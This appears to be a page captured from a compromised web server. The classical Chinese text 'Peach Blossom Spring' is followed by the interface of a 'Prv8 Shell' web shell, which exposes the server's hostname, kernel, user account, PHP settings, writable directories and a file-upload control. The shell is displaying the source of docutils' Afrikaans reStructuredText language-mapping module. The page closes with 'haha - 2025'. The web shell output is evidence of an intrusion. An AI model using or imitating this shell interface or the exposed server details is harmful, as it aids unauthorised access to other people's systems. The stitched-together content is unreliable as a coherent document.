晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/docutils/parsers/rst/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/docutils/parsers/rst/languages/af.py
# $Id: af.py 9116 2022-07-28 17:06:51Z milde $
# Author: Jannie Hofmeyr <jhsh@sun.ac.za>
# Copyright: This module has been placed in the public domain.

# New language mappings are welcome.  Before doing a new translation, please
# read <https://docutils.sourceforge.io/docs/howto/i18n.html>.
# Two files must be translated for each language: one in docutils/languages,
# the other in docutils/parsers/rst/languages.

"""
Afrikaans-language mappings for language-dependent features of
reStructuredText.
"""

__docformat__ = 'reStructuredText'


directives = {
      'aandag': 'attention',
      'versigtig': 'caution',
      'code (translation required)': 'code',
      'gevaar': 'danger',
      'fout': 'error',
      'wenk': 'hint',
      'belangrik': 'important',
      'nota': 'note',
      'tip': 'tip',  # hint and tip both have the same translation: wenk
      'waarskuwing': 'warning',
      'vermaning': 'admonition',  # sic! Not used in this sense in rST.
      'kantstreep': 'sidebar',
      'onderwerp': 'topic',
      'lynblok': 'line-block',
      'math (translation required)': 'math',
      'parsed-literal (translation required)': 'parsed-literal',
      'rubriek': 'rubric',
      'epigraaf': 'epigraph',
      'hoogtepunte': 'highlights',
      'pull-quote (translation required)': 'pull-quote',
      'compound (translation required)': 'compound',
      'container (translation required)': 'container',
      # 'vrae': 'questions',
      # 'qa': 'questions',
      # 'faq': 'questions',
      'table (translation required)': 'table',
      'csv-table (translation required)': 'csv-table',
      'list-table (translation required)': 'list-table',
      'meta': 'meta',
      # 'beeldkaart': 'imagemap',
      'beeld': 'image',
      'figuur': 'figure',
      'insluiting': 'include',
      'rou': 'raw',
      'vervang': 'replace',
      'unicode': 'unicode',  # should this be translated? unikode
      'datum': 'date',
      'klas': 'class',
      'role (translation required)': 'role',
      'default-role (translation required)': 'default-role',
      'title (translation required)': 'title',
      'inhoud': 'contents',
      'sectnum': 'sectnum',
      'section-numbering': 'sectnum',
      'header (translation required)': 'header',
      'footer (translation required)': 'footer',
      # 'voetnote': 'footnotes',
      # 'aanhalings': 'citations',
      'teikennotas': 'target-notes',
      'restructuredtext-test-directive': 'restructuredtext-test-directive'}
"""Afrikaans name to registered (in directives/__init__.py) directive name
mapping."""

roles = {
    'afkorting': 'abbreviation',
    'ab': 'abbreviation',
    'akroniem': 'acronym',
    'ac': 'acronym',
    'code (translation required)': 'code',
    'indeks': 'index',
    'i': 'index',
    'voetskrif': 'subscript',
    'sub': 'subscript',
    'boskrif': 'superscript',
    'sup': 'superscript',
    'titelverwysing': 'title-reference',
    'titel': 'title-reference',
    't': 'title-reference',
    'pep-verwysing': 'pep-reference',
    'pep': 'pep-reference',
    'rfc-verwysing': 'rfc-reference',
    'rfc': 'rfc-reference',
    'nadruk': 'emphasis',
    'sterk': 'strong',
    'literal (translation required)': 'literal',
    'math (translation required)': 'math',
    'benoemde verwysing': 'named-reference',
    'anonieme verwysing': 'anonymous-reference',
    'voetnootverwysing': 'footnote-reference',
    'aanhalingverwysing': 'citation-reference',
    'vervangingsverwysing': 'substitution-reference',
    'teiken': 'target',
    'uri-verwysing': 'uri-reference',
    'uri': 'uri-reference',
    'url': 'uri-reference',
    'rou': 'raw',
    }
"""Mapping of Afrikaans role names to canonical names for interpreted text.
"""

haha - 2025